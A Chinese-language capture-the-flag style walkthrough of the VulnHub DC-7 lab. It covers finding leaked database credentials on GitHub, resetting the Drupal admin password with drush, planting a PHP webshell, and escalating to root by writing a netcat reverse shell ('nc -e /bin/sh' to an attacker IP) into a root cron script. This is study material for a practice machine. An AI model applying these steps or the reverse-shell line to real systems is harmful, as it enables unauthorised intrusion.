vulnhub-DC-7
信息收集
nmap扫描,忘截图了,是一个80端口和22端口,指纹识别到cms是drupal。然后就卡住了,看了别的师傅说留意署名,以及刚开始作者提到的跳出框框,那就去搜一搜署名@DC7USER,发现了github账号,里面有源码
用户密码泄露
在config.php中拿到了用户名和密码
1 2 3 4 5 6 7
| <?php $servername = "localhost"; $username = "dc7user"; $password = "MdR3xOgB7#dW"; $dbname = "Staff"; $conn = mysqli_connect($servername, $username, $password, $dbname); ?>
|
登录不了,试试ssh可以登录
定时任务
登录提示有邮件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| dc7user@dc-7:/var/mail$ cat dc7user From root@dc-7 Thu Nov 21 17:15:45 2024 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 21 Nov 2024 17:15:45 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1tE1Pl-0000Ht-0t for root@dc-7; Thu, 21 Nov 2024 17:15:45 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1tE1Pl-0000Ht-0t@dc-7> Date: Thu, 21 Nov 2024 17:15:45 +1000
rm: cannot remove '/home/dc7user/backups/*': No such file or directory Database dump saved to /home/dc7user/backups/website.sql [success]
From root@dc-7 Thu Nov 21 17:30:14 2024 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 21 Nov 2024 17:30:14 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1tE1dm-0000IZ-DB for root@dc-7; Thu, 21 Nov 2024 17:30:14 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1tE1dm-0000IZ-DB@dc-7> Date: Thu, 21 Nov 2024 17:30:14 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
|
很明显的定时任务Subject: Cron <root@dc-7> /opt/scripts/backups.sh
,去看看这个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| dc7user@dc-7:/opt/scripts$ ls -l total 4 -rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh
dc7user@dc-7:/opt/scripts$ cat backups.sh #!/bin/bash rm /home/dc7user/backups/* cd /var/www/html/ drush sql-dump --result-file=/home/dc7user/backups/website.sql cd .. tar -czf /home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz chown dc7user:dc7user /home/dc7user/backups/* rm /home/dc7user/backups/website.sql rm /home/dc7user/backups/website.tar.gz
|
发现这个脚本只有root和www-data用户有执行和写权限,root用户是我们的终极目标,那么现在就是要得到www-data用户,在脚本中有drush对数据库的操作,那么我们也可以利用drush修改管理员密码,需要在html目录才能成功
1 2
| dc7user@dc-7:/var/www/html$ drush user-password admin --password="123456" Changed password for admin [success]
|
登录网站,可以修改文章,但是drupal8不支持php解析,那么就需要安装插件


安装后在文章中插入一句话木马,选择php code,就能getshell拿到ww-data权限
提权
修改backups.sh内容,由于这是个定时任务,root会执行,那么只需要在其中反弹shell即可
1 2 3
| #!/bin/bash nc -e /bin/sh 192.168.20.129 2222
|
监听
1 2 3 4 5 6 7
| └─# nc -lvvp 2222 listening on [any] 2222 ... 192.168.20.136: inverse host lookup failed: Unknown host connect to [192.168.20.129] from (UNKNOWN) [192.168.20.136] 38288 whoami root
|
至此靶机攻克
总结
此靶机涉及到了社工,根据署名拿到源码,其次较新的考点就是学会利用定时任务进行提权